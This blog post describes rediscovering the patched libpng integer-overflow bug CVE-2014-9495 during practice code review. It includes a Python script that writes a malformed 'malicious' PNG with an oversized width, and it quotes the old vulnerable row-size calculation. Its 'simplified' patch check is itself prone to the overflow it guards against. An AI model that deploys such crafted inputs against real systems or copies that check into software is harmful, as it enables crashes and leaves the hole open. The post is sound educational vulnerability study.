How I Discovered a Libpng Vulnerability 11 Years After It Was Patched
Disclaimer: This is NOT a zero-day. This is a learning experience from my journey into secure code review, where I accidentally rediscovered a vulnerability that was patched back in 2014 (CVE-2014-9495).
I’m sharing this to help others who are also learning and want to understand how vulnerabilities work in real-world code.
The Backstory⌗
I’m currently learning secure code review and wanted to pick a real-world open-source project to practice on. I chose libpng the widely-used C library for handling PNG images.
While doign the code review, I found a few interesting things. But for this blog post will fous only on one.
It seems like a serious security issue : the code calculate memory based on user-controlled values like width
and bit depth
, and there weren’t any obvious safety checks in the version I was reviewing.
So I tried to crash it and it worked… Well, kind of.
Instead of crashing, libpng
stopped me in my tracks with an error. That’s when I realized this bug was already discovered and patched… back in 2014!
But hey I still learned a lot, and now I’m sharing that story.
The sample which Trigger the vulnerable code⌗
Crafted a special PNG file using Python. This PNG had:
- A ridiculously large width (
0x80000000
, or 2GB) - A bit depth of 16
This combination was enough to overflow an internal memory calculation, which should lead to a heap buffer overflow.
Here is the script I used to produce the test (bad sample):
import struct, zlib
def chunk(type_str, data_bytes):
length = struct.pack(">I", len(data_bytes))
type_encoded = type_str.encode("ascii")
crc = struct.pack(">I", zlib.crc32(type_encoded + data_bytes) & 0xffffffff)
return length + type_encoded + data_bytes + crc
png = b"\x89PNG\r\n\x1a\n"
# Dangerous values: 2GB width + 16-bit depth
width = 0x80000000
height = 1
bit_depth = 16
color_type = 2
compression_method = 0
filter_method = 0
interlace_method = 0
ihdr_data = struct.pack(">IIBBBBB",
width, height, bit_depth,
color_type, compression_method,
filter_method, interlace_method)
png += chunk("IHDR", ihdr_data)
png += chunk("IEND", b"")
with open("overflow_width_bitdepth.png", "wb") as f:
f.write(png)
print("[*] Malicious PNG created.")
When I opened this PNG with libpng, here’s what I got:
libpng error: PNG unsigned integer out of range
libpng error during init_io
That’s not just a crash that’s libpng detecting something fishy and refusing to process it. Basically:
“Not so 1337.”
What Was the Actual Bug? Let us break it down.
In older versions of libpng, the code responsible for calculating how much memory was needed per image row looked like this:
rowbytes = width * (bit_depth * channels + 7) / 8;
This line multiplies user-supplied values like width and bit_depth.
Now imagine:
width = 2,147,483,648 (2GB) bit_depth = 16
The multiplication overflows a 32-bit unsigned integer. This silently wraps around to a smaller number, so libpng allocates less memory than needed.
That’s a classic vulnerability: Integer overflow ➜ Miscalculated buffer size ➜ Heap buffer overflow
The Patch (CVE-2014-9495) In 2014, this exact issue was discovered and patched under CVE-2014-9495.
Patch Summary: Added range checks before doing any memory calculations Ensured that values like width * bit_depth * channels don’t overflow Returned an error if something looked suspicious Now, the fixed version throws an error like:
libpng error: PNG unsigned integer out of range
Simplified Patch Logic
if (width > PNG_UINT_31_MAX || (width * bit_depth * channels) > PNG_SIZE_MAX)
png_error(png_ptr, "Image width is too large for this architecture");
Patch for the bug is over here : patch
My Learning/s: Always audit from source to sink, vulnerable looking code might be safe if it’s validated somewhere else. Integer overflows in C are sneaky No crash doesn’t mean it’s not worth exploring LibPNG or other similar highly audit code will not give 0-day like this (Try Harder, lol)
Wrapping Up If you’re learning security or bug hunting like me, don’t be afraid to dig into old projects and experiment. Even if you don’t find new bugs, you’ll uncover real-world lessons just like I did with this 11-year-old vulnerability.
Stay curious. Keep exploring.